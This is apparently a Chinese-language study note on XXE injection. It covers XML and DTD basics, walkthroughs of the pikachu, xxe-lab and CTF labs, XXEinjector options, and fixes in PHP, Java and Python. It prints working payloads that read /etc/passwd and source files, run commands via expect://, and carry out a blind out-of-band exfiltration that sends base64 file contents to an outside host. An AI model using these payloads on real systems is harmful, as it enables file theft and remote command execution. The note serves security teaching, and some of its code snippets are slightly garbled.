

XML原理分析
1.XML和XXE区别
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
2.XML和HTML的区别
XML 与 HTML 的主要差异:XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
3.DTD文档类型定义
(DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
4.DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
1. 各种协议的脚本适用环境

2. 进入靶场

#读取文件
---用file伪协议读取c盘的1.txt文件,当然这里的伪协议是隐藏在XML的文档实体中
---这种是有回显的类型的漏洞
<?xml version = "1.0"?>//xml的声明
<!DOCTYPE ANY [//文档的类型定义:这里是所有的格式都可以
<!ENTITY xxe SYSTEM "file:///c://1.txt">
]>//文档的实体,xxe为实体里面的变量,下面就执行这个变量
<x>&xxe;</x>

#玩法-内网探针或攻击内网应用(触发漏洞地址)
---这里是探针内网端口对应的网站(相当于进行了端口扫描)
<?xml version="1.0" encoding="UTF-8"?>//XML声明
<!DOCTYPE foo [//文档声明
<!ELEMENT foo ANY >//文档的类型
<!ENTITY rabbit SYSTEM "http:// 192.168.102.143:8888/1.txt" >
]>//文档的实体
<x>&rabbit;</x>

---如果地址不对,就显示的这个界面

#玩法-RCE(该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令)
--- RCE是远程命令执行漏洞
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
#引入外部实体 dtd
---访问本地的evil2.dtd文件(这个是XML的格式文件,访问该文件就会以XML格式执行)
---在evil2.dtd文件中,写入XML的伪协议代码:访问本地D盘的test.txt文件
---条件:在对方代码有没有禁止外部实体
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8888/evil2.dtd">
%file;
]>
<x>&send;</x>
---其中evil2.dtd文件内容:
<!ENTITY send SYSTEM "file:///c:/test.txt">

---把evil2.dtd文件放到靶场的端口根目录

---执行包含伪协议的XML(类似于文件包含中:远程包含的原理)
---目的:绕过拦截软件

#源代码分析
---simplexml_load_string()函数转换形式良好XML 字符串为 SimpleXMLElement 对象。对象的属性包含 XML 文档中的数据。如果失败,则返回 false。
---如果对象存在(传输的数据正确),就赋值给HTML,反之打印输出错误

#无回显-读取文件
---注释掉回显

---再次执行之前的payload(正确的payload才会无回显,错误的有)

---第一步:读取test.txt文件的内容(端口根目录),然后base64加密赋值给变量file
---第二步:访问自己本地的test.dtd文件(貌似这里也可以说内网的其它电脑,我猜测是本地,应为要自己伪造test.dtd文件才行),以XML格式执行本地的test.dtd文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % dtd SYSTEM "http://192.168.102.143:8888/test.dtd">
%dtd;
%send;
]>
---第三步:将本地test.txt文件的加密内容赋值给data变量。然后再通过日志的读取或者文件的接受变量来获取靶场的1.txt的文件的内容
---其中test.dtd文件内容:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http:// 192.168.102.143:8888/?data=%file;'>"
>
%payload;
---先查看本机的日志Apache/logs/access(发现我这里没有开启)

---修改配置文件为下图,重启Apache

---发现日志更新

---将构造的test.dtd放在本地8888端口根目录

---在靶场输入payload(发现没有回显,说明payload执行成功)

---本地端口的日志查看(接受到了,但是看不到内容啊,说明我的test.dtd文件没有被执行)

---打开查看,发现多了个空格

---修改后再次尝试(还是不行,我猜测是日志设置的时候没有设置可以看见穿见传输的内容)

---开启通用日志功能

---再次尝试(还是不行,猜测test.dtd可能路径没放对,也有可能是靶机的文件读取有问题)

---将回显打开,发现报错了

---我错了,这里文件读取的路径不是端口根目录应该是脚本执行的目录

---再次执行,解密


#如果HTTP被过滤,则可以通过其它协议进行绕过
---PHP伪协议执行的要求貌似还比较高
---entity,system,file等关键字过滤,可以使用编码方式绕过

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

#如何判断是什么过滤
---构造各种payload进行尝试(网上有字典,构造脚本去跑就行)
xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
1. 进入靶场

#抓包分析

#爬虫(2020版的没有spider)


---在请求数据包里面搜索关键字XML(发现一个)

---发现post传输的数据为XML格式


2. 结合post传输构造payload语句
---XML声明
<?xml version="1.0"?>
---文档类型定义
<!DOCTYPE Mikasa [
---文档的实体(可以直接,也可以远程)
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
---文档元素
<user><username>&test;</username><password>Mikasa</password></user
#这里是读取C盘的1.txt文件

---读取成功

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
1. 进入靶场

2. 对同网段的相似ip进行扫描
---本机ip

---nmap扫描同网段(参数-sS)

---141只有80端口

---254没有端口

---尝试访问141的80端口(应该就是靶场)

---用铸剑扫描网站的目录

---访问robots.txt文件

---这里显示了允许爬取的网站和不允许爬取的网站
---相当于获得了网站的文件路径

---访问xxe路径(发现一个登录界面)

---抓包分析(发现post提交的数据为XML格式,虽然content-type没有显示为XML格式)

3. 构造payload进行攻击
---这里是在当前xxe路径下读取admin.php文件
---构造了sp变量
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

---返回获取到admin.php的内容

---发送到decode解密

---在解密文件内发现用户名和密码
---可能存在flag的文件名:/flagmeout.php

---MD5解密密码

---尝试登录(发现登录失败,而且就算登录成功除非有上传文件,不然也获取不到靶场登录的密码)

---读取/flagmeout.php文件



---将flag解密(base32解码)

---再进行base64解密

---读取/etc/.flag.php文件


---base64解密成这东西(这个是PHP代码)(注意要以txt格式显示)

---PHP在线运行代码

---emmmm运行后全是警告,没有结果

4. 总结
---扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解密->php 运行->flag
---xxe产生根本原因:网站接受XML传输,却没有对外部实体进行过滤
CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
1. 理论分析(网站访问不了了)
---打开网站:发现是一个用户输入的窗口,输入数据,点击提交然后抓包分析
---发现post传输的数据是以字典的形式,{“serach”:”type sth”,”value”:”own”}
---文件类型:content-type:application /json(以json格式post数据)
2. 判断靶机操作系统
---大小写判断
---数据包判断
---nmap扫描
---ttl值判断
3. 更改content-type值查看返回(盲猜)
---将文件类型修改为:content-type:application /XML
---将post的数据修改为XML格式:
---读取Linux系统下的passwd
<?xml version = "1.0"?>//xml声明
<!DOCTYPE ANY [//文档类型定义
<!ENTITY f SYSTEM "file:///etc/passwd">
]>//文档的实体,定义变量f
<x>&f;</x>//文档元素
xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
1. 使用Ruby启动工具

2. 常见的参数
--host 必填项– 用于建立反向链接的IP地址。(host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径(brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口(enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
xxe 漏洞修复与防御方案-php,java,python-过滤及禁用
1.方案 1-禁用外部实体
---PHP:
libxml_disable_entity_loader(true);
---JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
---Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC(这里可以用加密绕过)
3.方案3装WAF产品